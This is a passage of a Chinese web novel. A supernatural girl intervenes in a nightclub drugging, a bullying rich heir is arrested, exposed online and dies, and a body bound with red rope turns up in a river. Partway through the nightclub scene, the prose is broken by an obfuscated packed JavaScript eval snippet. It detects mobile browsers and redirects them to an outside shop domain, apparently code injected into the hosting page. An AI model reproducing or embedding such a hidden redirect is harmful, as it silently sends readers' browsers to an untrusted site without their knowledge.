这玩意儿居然有人抢着吃?人类的口味真是难以理解…… 薛宓嫌弃地撇嘴。 她不是人类,这种毒品对她果然是无效的。反而那些被毒品搅乱的神志,让灵魂的防线出现了裂缝,令她的能力有了完全发展的空间。 就在这时,薛宓余光瞥见一名保安搀着个脚步虚浮的女孩往走廊深处的VIP室走去。年轻女孩醉眼迷离地挣扎着,却被半推半就地带了进去。 透过半开的门缝,她看到里面三个醉醺醺的富二代正在起哄。 最中央的位置,一个染着银发的男人正掐着女伴下巴,笑嘻嘻地往她嘴里灌酒。杯口蒸腾着浓稠如墨的黑雾,明显是掺了不干净的东西, 而那个被保安带进来的年轻女孩,已经醉瘫在沙发上无力挣扎。她身旁的男人,毫不避讳,手掌不安分地在她腰间游走,脸上挂着令人作呕的餍足笑容。 薛宓不禁对着电话轻笑:“没想到,还有别的收获呢~” “喂!你别乱来——” 贺黎筠的警告还没说完,电话那头就传来杀猪般的惨叫。薛宓已经闪进包厢,纤白的手指正扣在银发男生的手腕上。 “她已经说‘不’了。你是聋子听不见吗?”她笑得甜美,指尖却一点点收紧,直到听见骨骼发出不堪重负的咯吱声。 “啊——!” 剧烈的疼痛从手腕中传来,方才还趾高气扬的银发男人脸色骤变,惨叫地跪倒在地,整张脸因剧痛扭曲成一团。 其余醉醺醺的富二代们并没有意识到大祸临头。 见薛宓主动走近,那个搂着年轻女孩的男人,对着薛宓嗤笑:“怎么,你也想加入我们?” 他色一迷迷地伸手。 然而手才刚伸出,薛宓抬腿就是一记狠踹。 “砰!” 贼眉鼠眼的男人瞬间弓成虾米,惨白着脸跪倒在地,连惨叫都发不出声。 包厢突然陷入死寂。所有人酒醒了大半。 “臭婊子,你——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723342|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “装什么清高!来这种地方的婊子不都为了钓凯子和钱吗?” 此起彼伏的怒骂声在包厢里响起,薛宓直接抄起桌上的酒瓶,当头砸了下去。 一砸一个不吱声。 好爽啊…… 成年人的身体原来这么爽吗? 她嘴角甜甜地弯起:“要记清楚呀~是你们自己喝醉酒后打架斗殴……” 黑雾钻入他们的耳鼻,在意识深处种下幻术的种子。包厢里的男人瞬间开始互相推搡,嘴里嘟囔着“你他妈敢打我”之类的醉话。 她满意地望着自己的杰作,转头望向害怕地躲在角落里、浑身颤抖的女人,眨了眨眼道:“你也没见过我哦~” “但是要记住,你一点都不怕他们的背景。等警察来了,就把他们怎么逼你喝酒、怎么动手动脚的……全部都说出来。” 许昭阳刚报完警,夜店的保安主管就接到了内线电话。他抓起对讲机正要通知VIP区清场时,一只骨节分明的手按在了对讲机上。 “警察。”贺黎筠亮出证件,声音冷冷道,“接到群众举报,五楼涉嫌聚众吸毒,请立即停止所有通讯设备使用,配合警方行动。” 保安主管瞳孔地震。 从报警到现在才几分钟?怎么会有警察来得这么快?!而且还这么凑巧就在夜店里?! 他还想阻拦,但门口又来了一波便衣警察,就像是早在门口等候多时一样! 不,不能让警察上去! 在一片混乱中,贺黎筠率先冲上了电梯。 他顺着薛宓的提示往走廊深处的包厢走去,就见拐角处,薛宓正倚在某个包厢门外,优雅地整理着有些凌乱的发丝,而包厢里横七竖八躺着几个头破血流的青年。 “魏明俊在最里面那间。” 她朝走廊尽头扬了扬下巴,又指了指身后的包厢,“这几个嘛……涉嫌迷一奸未遂。” 她说着,惬意地伸了伸懒腰,像只餍足的猫。 “你同事快到了,我先走啦~有事电话聊~” 贺黎筠就见她挥了挥手,不带走一片云彩。 而他面色凝重地往最里面的包厢走去。 果然,里面一片狼藉,魏明俊和他的跟班们同样鼻青脸肿地昏迷在地,空气中还弥漫着刺鼻的酒精和呕吐物气味。 “警察,是你报的警?”贺黎筠亮出证件。 没想到警察这么快就到的许昭阳眼睛一亮,立即将手中的糖果盒递上:“警察叔叔,是我报的警。这个糖果盒是迷夜的经理给的,我举报他们吸毒和长期校园霸凌!” 贺黎筠戴上取证手套,小心地捏起一粒粉色药丸凑近轻嗅。 瞬间,眉头拧紧。 “是毒品。”他沉声对赶到的同事说道,“把这些全部封存送检。嫌疑人全部带回局里做尿检和毛发检测,重点采集魏明俊和夜店经理的生物样本。” 魏明俊第一次听说“迷夜”有特殊糖果,是在两周前的私人派对上。 他正因被警察调查的事而心烦着,一个姓张的富二代鬼鬼祟祟地凑过来,掏出一个糖果盒,对他笑得意味深长:“魏少,听说你最近……心情不太美丽?试试这个,包你忘掉所有烦恼。” “魏少试试就知道,保证比你玩过的任何东西都刺激……而且是纯植物提取,绝对安全。” 他闻言,嗤之以鼻。修长的手指不耐烦地挥了挥,像是驱赶一只恼人的苍蝇。但当昨天,他再次被父亲骂废物时,那些诱哄的声音又再次浮现在了脑海里。 那就……试试呗。 灼热的暖流猛地从胃里炸开,每根神经末梢都仿佛跟着在噼啪炸响。 眼前的灯光扭曲成五彩斑斓的漩涡,整个世界开始摇晃、溶解…… “报警?查监控?哈哈哈……”他一把揪住许昭阳的头发,将人狠狠掼在茶几上,“不会以为报警有用吧?我爹是魏延璋!你看警方查得出个屁!我迟早弄死你……” 他扬起拳头,享受着许昭阳惊恐的眼神。这种掌控他人生死的快感比毒品更让人上瘾,整个人轻飘飘得像要飞起来—— “啪!” 直到,一记火辣辣的耳光狠狠扇在他脸上,力道大得让他直接栽倒在地。 “谁他妈——” 话未说完,无数双手从黑暗中伸出,揪住他的头发、衣领、四肢。 拳头如雨点般砸下,他抱头鼠窜,却躲不开每一记痛击。 “连考试都要靠作弊的废物,除了欺负人还会什么?” “你妈不就是个爬床上位的小三?真当自己是魏家大少爷了?” “魏明璟才是真正的继承人,你算什么东西?!” 校服被扯烂,书包里的课本被撕碎,有人往他脸上吐口水,笑声尖锐刺耳。 他蜷缩成一团,惊恐地发现,这些施暴者,竟全是被他欺负过的面孔! “这一巴掌,是替周砚修打的。” “这一巴掌,是替所有被你欺负的人打的!” “魏明俊,你完蛋了!” 场景骤然变换。 刺骨的寒风灌进衣领,魏明俊浑身一颤,发现自己竟不知何时站在了天台边缘! 他的身前是死死攥着他衣领的许昭阳,那双总是畏缩的眼睛此刻燃烧着怒火,而他的脚下,地面遥远得令他腿软眩晕。 极度的恐惧让他膀胱失禁。他眼泪鼻涕瞬间四溢,哭着哀求道:“我错了……” “许昭阳,我错了……我发誓再也不欺负你了……周砚修的医药费我全包……我会请最好的医生治疗他!” “我不该霸凌……不该逼周砚修……我再也不敢了……求求你拉我回去……我认罪……我什么罪都认……” 但他,却还是松开了手。 冷风吹散了语无伦次的求饶。 魏明俊惊恐地从噩梦中惊醒,发现自己竟瘫在夜店包厢里,裤、裆湿透…… “醒了?” 一道冷冽的男声从头顶传来。他艰难地抬头,正对上一张棱角分明的冷峻面容。 贺黎筠举着警官证,居高临下地俯视着他:“魏明俊,现以涉嫌吸毒和校园霸凌立案调查。考虑到你未满十八岁,我们已经通知了你的监护人。现在,跟我们走一趟。” 魏明俊瞳孔地震:“什、什么?!你知道我是谁吗?我是魏延璋的儿子。” “所以呢?”贺黎筠垂眸看着他,唇角勾起一抹讥诮的弧度,“你觉得有你父亲在,你就能一直逍遥法外?这次,谁也保不了你。甚至你父亲看着暴跌的股价,都要后悔生出你这么个败家的玩意。” 37.死者 十分钟后,警笛声呼啸而来,围观人群就见曾经门庭若市的入口处,瞬间被拉起了刺眼的黄色警戒线。 禁毒支队迅速兵分两路。一队警员对离场人员登记身份、初步排查,另一队则直奔监控室,封存了所有监控数据。 至于VIP楼层?在他们赶到前,贺黎筠就已带人将涉案区域牢牢控制。 而几乎同一时间,“青江市夜店涉毒被查”的消息也因围观群众的爆料,瞬间冲上了热搜榜首。 闪烁的警灯、进出的警察、被押出的涉毒人员……每一帧画面都在社交平台上掀起轩然大波。 那些曾经在这里消费过的富家子弟,各个不安地打探着小道消息。毕竟谁也没有想到,青江市最负盛名的夜店“迷夜”,竟会在这个看似平常的夏夜,被警方全面查封。 被带上警车的魏明俊昏昏沉沉地瞥了眼前排的警察,嘴角扯出一丝冷笑。 这帮人装模作样地绷着脸,真当自己是什么正义使者了?他爸一个电话就能让他们吃不了兜着走。 毒品和酒精的副作用,让他即使受到贺黎筠的厉呵,都未意识到事件的严重性。 脑子里像塞了团棉花,又轻又飘。而内心又塞满了在梦境中对许昭阳痛哭流涕求饶的屈辱感。 死废物,竟然敢举报他! 他报复般地用鞋底故意蹭着警车座椅,留下几道灰印。 反正待会儿律师一来,他还不是大摇大摆走出去?未成年,又是第一次吸毒,不仅不执行拘留,说不定连案底都不会留。 等他出来,非弄死他们一家! 所以,被带进未成年人询问室时,还未彻底酒醒的魏明俊毫不畏惧,依旧少爷模样地翘着二郎腿。 然而,时间一点一滴地过去。 空调呼呼地吹,像一盆冰水浇在发烫的神经上。 哒、哒、哒…… 他混沌的神志渐渐清明,脚尖不耐烦地一点一点,目光紧紧盯着墙上的时钟。 ……都半小时了,老头子怎么还没动静? ——你觉得有你父亲在,你就能一直逍遥法外?这次,谁也保不了你。甚至你父亲看着暴跌的股价,都要后悔生出你这么个败家的玩意。 不,不可能!堂堂魏氏集团的董事长怎么可能保不住他! 手机早已被收走,无法知道外面情况的魏明俊,第一次心慌了起来,竟控制不住地咬着手指,不安地等待着。 直到,门被推开。 他松了口气,抬眼望去,却见来捞人的并非他父亲,而是魏明璟! 他西装笔挺地站在那儿,目光冷淡地望着他,像是在审视一件待处理的麻烦事,身后跟着两个魏氏集团的精英律师。 他的脸瞬间拉了下来。 他和这位同父异母的大哥自然是不对付的,尤其是最近父亲频频称赞魏明璟,他的胸口就会涌起一股无名火。 而现在,自己被警察当场逮捕这么狼狈的模样,竟被这个最讨厌的人亲眼目睹…… 可把魏明俊气坏了。 对于弟弟敌视的目光,魏明璟视若无睹。 而随行的律师早已准备好一套滴水不漏的说辞:“当事人是初犯,明显是在他人诱导下被动接触毒品。” “现在,我当事人因吸食毒品出现严重的药物不良反应,应当立刻送医进行全面治疗。如果警方执意羁押导致严重后果,恐怕会对贵局的执法公信力造成不必要的负面影响,也不符合未成年人保护的基本原则。” 虽涉及吸毒及校园暴力两项指控,但由于是未成年,魏明俊并未被送往禁毒支队,而是在刑侦支队的未成年人专用询问室接受审讯。 而《未成年人保护法》、《预防未成年人犯罪法》都是“教育为主、惩罚为辅”,未成年人刑事拘留的适用比成年人更严格,需符合《刑事诉讼法》关于拘留的必要性条件,如存在毁灭证据、逃跑等风险。 所以,强调未成年人身份,咬定初次犯错,在专业律师团队的运作下,不到半小时,原本面临的强制措施,就被转化为了取保候审。 魏明俊原以为办完手续就能直接回家,去医院进行所谓的治疗只是办理取保候审的托词,没想到竟真的被魏明璟送去了医院!? 与此同时,林曼绮正焦躁地坐在车里。她原本想亲自接儿子,可刑警支队门口堵满了记者,魏延璋怕她控制不住情绪,甚至过分溺爱让事情变得更糟,才改派魏明璟处理。 然而她一路尾随,却见车并未驶向魏家,而是拐进了一家魏氏集团控股的公立三甲医院。更令她心惊的是,透过半开的车门,她竟看见自己的儿子被人用担架抬了下来! 她一把推开车门冲上前:“谁允许你们这样对待我儿子的?!” 医护人员被她突如其来的呵斥惊得停住脚步。魏明璟从另一侧下车,神色平静地挡在她面前:“阿姨,这是父亲的安排。” “现在送他回家,明天头条就‘魏家二少吸毒被捕’。但如果是‘被诱导误食毒品,紧急送医治疗’呢……” 他顿了顿,目光扫过魏明俊裤子上那片干涸的污渍,随即转向医院门口早已架好的媒体镜头:“该怎么做,阿姨您应该都明白了吧。” 林曼绮顺着他的视线看去,狰狞的表情瞬间僵硬在脸上,只见几名挂着相机的记者正鬼鬼祟祟地躲在医院廊柱后,镜头对准了担架上的魏明俊。 魏家明明已经打点妥当,各大媒体都承诺只报道“迷夜”涉毒,绝不会提及魏明俊半个字。 这些不知死活的狗仔究竟是从哪里冒出来的? 难道……是魏明璟故意安排的!? 是的!他儿子好端端地怎么可能去吸毒!说不定也是魏明璟故意设的局! 一想到这种可能性,林曼绮脸色更加铁青。但她没有任何证据,只好在转身面对镜头时硬生生挤出一个母亲该有的忧心表情,在门口演了一波哭戏。 直到,魏明璟的身影彻底消失在走廊尽头。 而在魏明璟面前屁都不敢放一个的魏明璟,在病房门一关上,就怒气冲冲地一脚踹翻了输液架,发了一顿少爷脾气。 “妈!刑警支队那个叫贺黎筠的贱人!不仅当众拷我,还说我爸会后悔生出我这么个败家玩意!” “他算个什么东西!” 他抓起床头的水杯狠狠砸向墙壁,怒吼道,“我要让这个杂种跪着求我!我要他身败名裂!” 林曼绮一听儿子委屈的遭遇,心中更气,当即上前抱住儿子,安抚道:“俊儿,别气坏身子……等这阵风头过去,妈妈让他怎么死的都不知道。” 她轻抚着魏明俊的后背,眼神却阴沉了下来。 但他们忽略了一点——网络。 控制住主流媒体又如何,疯狂下热搜控广场又如何,随着热搜#魏氏集团二少爷吸毒发疯#、#魏明俊吸毒被抓#、#我爸是魏延璋#等词条一个接着一个上,全民吃瓜! 【卧槽!魏家那个二少爷真的嗑药发疯了???】 【#魏二少爷发癫实录#真的真的!视频都传疯了!听说他爹砸了八位数压热搜,结果越压越爆,现在全网都在传,根本删不完哈哈哈!】 【#我爸是魏延璋#吸毒被警察抓了说我爸是魏延璋666!以前没少干这种事吧!】 【来晚了视频一个都没看见!求好心人发视频!】 【去字母站搜‘魏某人的发疯实录’,有网友剪辑了高清版,弹幕全是课代表!】 【微博搜#魏少爷の奇妙夜#,新话题刚建,还没被炸!】 若只是个普通的富二代,这瓜或许吃两天就凉了。可偏偏—— 他是魏氏集团的二少爷!含着金汤匙出生的豪门继承人!而且还是个后期转正的私生子! 【原配病逝时,魏明俊已经两岁了!原配尸骨未寒就接小三进门!】 【出轨这么多年……原配该不会是活活气死的吧?】 【卧槽!所以是小三上位逼死原配?豪门剧都不敢这么演!】 【这么一看,魏明璟也太惨了吧……就是和现在魏明璟一样的年纪,后妈带着私生子就上门了……这种情况下,还非常争气地考了一个市理科状元……】 当年压着的各种陈年秘辛如火山喷发,热搜榜前十里魏家独占六,一时间,网上各种难听的言论席卷而上,把魏延璋和两任妻子的瓜传得到处都是,连带着两个儿子也被疯狂对比。 哪怕魏家下场疯狂举报诈号删视频,吃瓜网友们还是把魏明俊嗑药发疯的视频、认罪录音备份了八百个版本,在各个平台病毒式传播——这边刚封一个话题,那边就冒出十个新词条,根本删不完! 在全网越捂嘴越逆反地吃瓜下,#许昭阳实名举报#、#魏明俊校园霸凌致同学坠楼#一举上了热搜前二。 【许昭阳:#魏明俊校园霸凌致同学坠楼#我是许昭阳,魏明俊校园霸凌事件中的受害者。 我父亲是魏家的专职司机,母亲患有尿毒症每周需要透析。三年来,为了保住父亲的工作,为了母亲的医药费,我像条狗一样忍受着魏明俊的殴打、羞辱,甚至被迫在同学面前学狗爬、喝厕所水。 周砚修是唯一站出来帮我的人。而他明明是在魏明俊的逼迫下意外从天台坠落,无论是警方还是学校都一口咬定他是自杀。而我明知道真相,却像缩头乌龟一样恐惧地躲了起来。 这一个多月,周砚修仍在医院昏迷不醒,而我每天都被那一天的噩梦惊醒。现在,我带着他们手机里录下的霸凌视频、魏明俊吸毒的证据,已向警方提交全部材料。 对不起周砚修,对不起周妈妈。 但这一次,我选择不再沉默。】 这一实名举报,把微博彻底搞瘫痪了,程序员小哥不得不临时加班,边抢修边吃瓜。 【天啊!明德国际不是青江市最好的私立高中吗……一年学费15万竟然也有校园霸凌!?学校竟一点也不作为???】 【反转个der!霸凌视频都流出来了!这要是能洗,我直接卸载微博!】 【对不起,我就是明德国际的学生……魏明俊确实存在校园霸凌,因为一些原因没敢开口对不起……】 才短短十分钟,在网友们愤怒的谩骂声中,#明德国际包庇校园霸凌#词条直接空降热搜,吓得明德国际官微紧急置顶声明: 【关于校园霸凌事件的调查进展说明 我校在接到周女士反映的校园霸凌情况后,立即启动应急预案,成立由校领导牵头的专项调查组,全面配合公安机关开展调查工作。 目前,调查组正全力配合公安机关开展调查取证工作,相关调查仍在进行中。 本着对事实负责、对法律敬畏的态度,我校将严格依据公安机关的最终调查结果,依法依规作出处理决定。在此期间,为避免干扰调查工作,暂不对外发布具体案情细节。 我校重申对校园霸凌行为“零容忍”的坚定立场,将持续完善校园安全管理机制,切实保障每一位学生的合法权益。 明德国际学校】 【还名校呢!还零容忍呢!最恶心的是学校!校园霸凌当作没看见,事发后第一时间封锁消息,还威胁其他学生不准说出去!现在发微博说什么早已成立专案组配合警方调查呵呵呵呵!】 【我扒出魏明俊中考成绩了!中考连普高线都没过,竟然能被明德国际录取???严查!】 【当然是捐了一栋科技楼啦!这次失足坠落变成自杀,不知道又塞了多少钱呢呵呵呵,真是个败家玩意。】 【最新消息!教育局终于成立调查组了!】 【早干嘛去了?非等闹上热搜!建议查查校长和魏家的资金往来!】 【一句话版:魏家二少爷吸毒发疯+校园霸凌致人坠楼重伤+学校包庇不作为,现在全网锤,他爹也保不住了!】 【原配儿子高考理科状元,小三儿子中考连普高线都没过。原配儿子31岁就执掌集团百亿项目,小三儿子只会吸毒霸凌。都是同一个人的儿子,基因差距这么大?】 【上梁不正下梁歪,毕竟是小三的孩子嘛~能到接受什么好教育!】 【大少爷:在开董事局会议二少爷:在开银手镯发布会】 【建议改剧名:《我的总裁哥哥和废物弟弟》】 整整一夜过去,魏氏集团的公关团队彻夜未眠。 砸钱撤热搜、删帖、发律师函,可消息还是像野火一样烧遍了全网。 巨大的丑闻连带着魏氏集团的股价开盘即跌停,集团官网评论区被愤怒的网友冲垮,不得不紧急关闭。 可这仅仅是开始——连续三个交易日,股价一路断崖式暴跌,抛售恐慌如多米诺骨牌般蔓延,到周五收盘时,市值已经蒸发整整80亿! 董事会的电话被打爆,合作方纷纷发函要求解释,直把魏延璋气得血压飙升,会议室里当众晕倒,被紧急送往了医院。 而魏明俊同样不好受。 本来是打算在医院里躲几天,等风头过了再回家,可哪怕住在顶层特护病房,那些无孔不入的狗仔和网络暴民仍像嗅到血腥味的秃鹫,透过窗户偷拍着他的一举一动。 他受够了这种被当动物围观的日子,第二天就执意出院回家。 然而,盲目吸毒的后遗症来了,他出现了生不如死的戒断反应。 持续不断的呕吐、全身肌肉痉挛、骇人的幻觉交替折磨,仿佛耳边总有人窃窃私语…… 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各种纠结下,薛宓决定只在崔芳华上班期间,变成大人的模样四处溜达。夕阳西沉前,就乖乖地变回来。 于是,贺黎筠忙于案件的这段日子,薛宓没少变成大人的模样偷溜出去闲逛。 而这天傍晚,她正晃悠着往家走时,忽然在小区外围的灌木丛边瞥见一团熟悉的毛茸茸身影——是林美美家的花卷,又偷跑出来了! 林美美家自从养猫后就封了窗,但花卷这只小机灵猫总能找到机会偷偷溜出来。显然,若不是当时怀着崽,它根本不会安分住下,如今小猫们渐渐长大,心思又野到了外面…… “花卷。” 薛宓下意识喊了声,随即意识到自己现在是成年人的模样。 可明明是完全陌生的模样,花卷的耳朵却敏锐地抖了抖,转头看见她时,立刻“喵”地欢叫一声,屁颠屁颠从草丛里蹿了出来。 它亲热地蹭着她的裤腿,尾巴高高翘起,喵喵叫得又软又黏。 “你倒是会认人。” 薛宓哼了一声。 但想到林美美发现猫丢了该有多着急,它竟一溜烟地跑到了小区外面,她一把捏住它的后颈,拎起来教训:“不许再偷跑了听到没有?回家!” 花卷委屈地“呜”了一声,四爪悬空,尾巴蔫蔫地垂了下来。 然而,就在薛宓抱着花卷走到小区门口时,她突然感觉有什么东西在暗处凝视着她。 不是人类好奇的打量,而是某种黏稠的、充满恶意的注视。 她猛地转身—— 夕阳将树影拉得老长,路上车辆川流不息,行人步履匆匆,一切都再正常不过。 她皱着眉正要深究时,远处忽然传来林美美带着哭腔的呼唤:“花卷——” 怀里的三花猫瞬间挣脱,箭一般蹿向声源处。薛宓赶紧追了上去。 十五分钟后,薛宓刚走出阳光花园小区,一辆车停在了她的面前。 “上车。” 瞧见是几天没见的贺黎筠,薛宓嘴角一扬,熟门熟路地坐进副驾驶。 “怎么特意来接我呀,不怕被你妈发现?” 贺黎筠握着方向盘的手指微微收紧,声音低沉:“魏明俊死了。半个小时前在医院抢救无效死亡。” “啊?”薛宓一愣,随即反应过来,眯起眼睛,“所以你觉得是我做的?” “急性药物中毒,引发猝死。”贺黎筠移开视线,“毒品案第二个死者了。” “校园霸凌案的主犯已确认死亡,其余涉案未成年人均已认罪伏法。案件正式结案。” “至于迷夜里被你揍的那几个,涉嫌性一交易,正在调查中。不仅如此,迷夜还涉嫌巨额的偷税漏税,现在税务稽查和经侦支队正在联合调查……” 说着说着,贺黎筠突然意识到自己竟然在主动汇报这几日刑警支队的调查结果…… 他突然停住话头,沉默了几秒才重新开口:“这几天在忙什么?怎么穿成这样到处跑?” 薛宓低头看了看自己的红白格子裙,阳光透过车窗照在布料上,红得刺眼。她随手掸了掸裙摆上那几个显眼的猫爪印——刚才抱花卷时蹭上的。 “不好看吗?我觉得挺适合我的。” 贺黎筠瞥了她一眼。确实,这身打扮很适合她——红色总是能衬得她皮肤更白,整个人像团火似的扎眼。而她,也总爱穿红色。 “太显眼了。”他最终只是这样说,目光重新回到前方的路况上,“容易被人记住。万一被林美美看见……” 一提到林美美,薛宓立刻来劲了,整个人往主驾驶那边一歪:“我刚把花卷送回林美美家!你是没看见,她和她外公外婆压根没认出我,还一口一个‘姐姐’叫得可甜了~” 贺黎筠猛地往车门方向躲了躲,方向盘都跟着歪了一下。 余光瞥见,薛宓正得意地晃着腿,裙摆上那几个猫爪印随着动作时隐时现。八月的阳光透过挡风玻璃洒进来,在她发梢镀了层晃眼的金边。 “坐好。”他终究没忍住,伸手按住她乱晃的膝盖,“安全带系上。” 薛宓撇撇嘴,但还是老实坐了回去。只是安静了不到三秒,她又突然凑近:“但花卷今天主动蹭我腿了,你说它是不是靠嗅觉认出我啦!” “你想多了。”贺黎筠目不斜视地盯着前方,“花卷不是对谁都很热情吗?上次第一次见我,不也蹭得挺欢。” 薛宓不服气地鼓起脸颊:“那能一样吗?它蹭你的时候可没发出那种呼噜声……” 话没说完,车子突然一个急刹。薛宓猝不及防往前一栽,脑袋“咚”地撞在了贺黎筠横挡过来的手臂上。 “红灯。”贺黎筠面不改色地撤回手臂,指尖在方向盘上轻敲,“坐好,别影响驾驶。” 薛宓捂着额头,气得直瞪眼:“就这么两条马路你都能开成这样?你会不会开车啊!” “你——”贺黎筠刚要开口反驳两句,手机突然在口袋里震动起来。他皱眉接起,随着电话那头的汇报,指节在方向盘上渐渐绷紧。 “明白,马上到。”他挂断电话,转向薛宓时眼神已经变了,“河边发现浮尸,我得马上过去。你在这下车,跟我妈说声,晚饭不用等我。” 薛宓愣了一秒,随即眼睛一亮道:“我也去!” “凶手往往会在作案后返回现场观望,说不定我能一眼就锁定嫌疑人。” 贺黎筠眉头微蹙,最终还是松口道:“我会提前放你下去,你混在人群里。不许擅自行动,不许触碰任何证物。有任何发现,立刻电话联系。” “遵命~” 38.红绳 “喂?老、老婆!我、我现在要去派出所一趟……不是!你别瞎想!就、就刚才钓鱼……鱼钩突然沉得厉害,我以为钓到条大的……结果拉上来一看,妈呀!是个人啊!” “泡得都发胀了……脸都烂没了……” 说到这中年男人突然干呕起来,缓了好一会儿才断断续续地继续:“她……她腰上缠着麻绳,下面坠着块大石头,特别沉……现在两个警察正费劲地往上拉……” “要不是我的鱼钩刚好勾到绳子,这姑娘怕是要在河底躺上好几年。也不知道是谁这么深仇大恨,把一个小姑娘害死后,还要绑上石头沉河……” “情杀!是的,我猜也是情杀。” 另一边,贺黎筠和楚子琦正合力拽着绳索。为了防止尸体损伤,只能避免直接拖拽,而石头本身不是特别沉,但浸透的衣物吸足了河水,像灌了铅似的往下坠,令那具女尸被消防打捞到岸边,迟迟没能全部捞上来。 直到随着一声闷响,沾满淤泥的石头重重砸在岸上。水流从肿胀的躯体上哗啦啦地淌下来,在岸上汇成一片浑浊的水洼。 望着那张被河水泡得面目全非的女尸,薛宓终于明白钓鱼佬为何会吓成那样。 肿胀发白的皮肤上布满暗红与青紫交错的尸斑,五官扭曲得几乎无法辨认,嘴唇外翻着,浑浊的眼球突出眼眶,仿佛还在死死盯着岸上的每一个人。 红色连衣裙被水流冲得卷到胸口,露出腰间那圈深深勒进皮肉的麻绳,末端拖着的就是那块沾满淤泥的石头。 而最令人毛骨悚然的是,她的双手被一根鲜艳的红绳紧紧捆绑在胸前,十指扭曲地交叠在一起,形成一个诡异的祈祷姿势。 薛宓一怔,下意识转头看向贺黎筠。只见贺黎筠死死盯着那根红绳,眼神锐利得像是要把它烧出个洞来。 就在这时,刺耳的警笛声由远及近。法医带着工具箱匆匆赶到现场,几名警员迅速架起折叠式屏风,围出一方临时的验尸空间。 薛宓的视线被彻底遮挡住了,而晚高峰的下班人群被这一大动静吸引,渐渐将现场围得密不透风。 有人踮脚张望,有人皱眉后退,有些胆大的则悄悄举起手机,然而镜头刚一对准河道,就被警察厉声制止。 薛宓不动声色地扫视着周围每一张面孔。 窃窃私语声混着闷热的晚风在人群里蔓延,一张张或好奇、或惊恐、或兴奋的面孔从她视线中掠过,却找不到任何可疑的迹象。 凶手没有返回作案现场。 只是,眼前这具尸体上熟悉的红绳手法,分明是青江市连环杀人案的标志。那特殊的捆绑方式,双手交叠的祈祷姿势,都与十六年前的案件卷宗照片如出一辙。 时隔十六年,那个逍遥法外的连环杀人犯终于再次现身了吗? 这般想着,薛宓再次回忆那具尸体的每一个细节:肿胀发青的面容、外翻的嘴唇、突出的眼球…… 虽然面容已经难以辨认,但某种诡异的熟悉感却挥之不去。突然,一个画面闪过脑海——是那个在小区里张贴寻狗启事的女人! “美美!”薛宓立刻拨通林美美的电话,急切地问,“你那里还留着上次那个寻狗启事吗?现在能拍一张给我吗?” “啊?哦,好的好的!我用爸爸的手机拍给你哦!稍等一下下~” 林美美只有儿童手表,但为了能让两个孩子随时联系,她爸爸特意让薛宓加了自己的微信。平时林美美就经常用爸爸的账号给薛宓发各种猫咪照片和视频。 几分钟后,薛宓收到了林美美发来的照片。 映入眼帘的是一张圆滚滚的博美照片,蓬松的毛发,黑亮的眼睛,吐着舌头露出憨态可掬的笑容。而上面的寻狗启示写着: “本人不慎于7月14日晚19时许,因取快递未关好家门,导致爱犬走失。现恳请各界爱心人士协助寻找。 品种:博美犬 姓名:布丁 性别:雄性已绝育 年龄:五岁 特征:通体雪白,右耳有褐色心形斑点 走失地点:玫瑰花园小区3号楼附近 如有好心人发现或收留,请立即联系:周女士 138xxxxxxxx(24小时开机)或送至附近宠物医院。 凡提供有效线索帮助找回者,本人承诺当面酬谢人民币1000元整!恳请各位邻里朋友帮忙转发留意,感激不尽!” 薛宓立刻拨打了寻狗启事上的联系电话,然而号称“24小时开机”的手机却是关机状态。 她眉头越蹙越紧,将这张寻狗启事连同自己的猜想一起发给贺黎筠时,手机又震动了一下——是林美美发来的语音消息。 “宓宓,你现在在哪呀,是不是找到狗狗了?”她的声音满是开心的雀跃,却听得薛宓的喉咙一阵发紧。 他们找到的不是那只走失的博美,而是一具被红绳捆绑的冰冷尸体……很有可能,就是当初与她们有过一面之缘的年轻失主。 【不是同一只,我遇到的这只右耳没有斑点。】她撒谎地回道。 这时,贺黎筠的电话打了进来:“法医正在做初步尸检。死者为二十岁出头的年轻女性,身高约165。颈部勒痕有明显生活反应,确认是生前被勒颈致死,死后抛尸。根据尸僵程度和尸斑分布,死亡时间初步判断在72小时前。不过水中尸体受低温影响,尸僵发展会延缓,具体死亡时间还需要解剖后结合胃内容物进一步确认。” 他说着,声音突然压低,语气变得更加凝重:“现场没发现钱包、手机等任何能证明身份的个人物品。所以还不能确定死者就是你推测的这位周女士。我先去玫瑰花园核实信息。你先回家,有消息再联系你。” 薛宓刚要追问,电话就被贺黎筠匆匆挂断,只留下一串冰冷的忙音。 她撇了撇嘴,但想到现在贺黎筠肯定正心烦意乱,她最终还是把冲到嘴边的追问又咽了回去,决定先乖乖回家不去添乱。 而她刚一到家,手机就突然再度震动起来。只见,一条条带着“爆”字标签的新闻推送接二连三地弹了出来——#魏氏集团召开新闻发布会#、#魏明俊疑似误食毒品身亡#。 薛宓点开发布会直播回放,画面里魏延璋携妻子林曼绮坐在长桌后。这位素来以铁腕著称的商界巨鳄,此时像是被抽走了脊梁,苍老而憔悴。 “是我这个做父亲的……不够格。这些年只顾着生意场上的事,连他什么时候……什么时候变成这样都不知道。” “要是能多回家吃顿饭,要是能早点发现他在学校……要是我,能好好地关心他……他也不会误入歧途,误碰那些脏东西……” “请以我这个失败的父亲为戒!以明俊的悲剧为戒!远离毒品,永远不要碰第一次!” 他声音哽咽着向公众鞠躬道歉,沉痛承认自己教子无方,而自己的儿子也因为在他人的诱导下误食毒品付出了惨痛的生命代价,愿以此事警醒世人,切勿沾染毒品。 身旁的林曼绮更是哭到几乎晕厥。 发布会后,魏氏集团旗下所有官博头像全部变成黑白,齐齐发布悼念公告。无论是公告还是新闻配图,全都整齐划一地配着魏明俊阳光明媚的生活照。 照片上的少年笑得明朗飞扬,阳光洒在脸上,整个人仿佛沐浴在金色的光晕里。任谁都想不到,这个一脸无害、看似澄澈如朝阳的少年,曾是个校园霸凌的主谋。 然而面对这样的丧事和齐刷刷悼念的水军,网友们却不买账。 【吸毒挂掉还发通告卖惨?这波痛失爱子的苦情戏,该不会是想拉升股价吧?[吐了]】 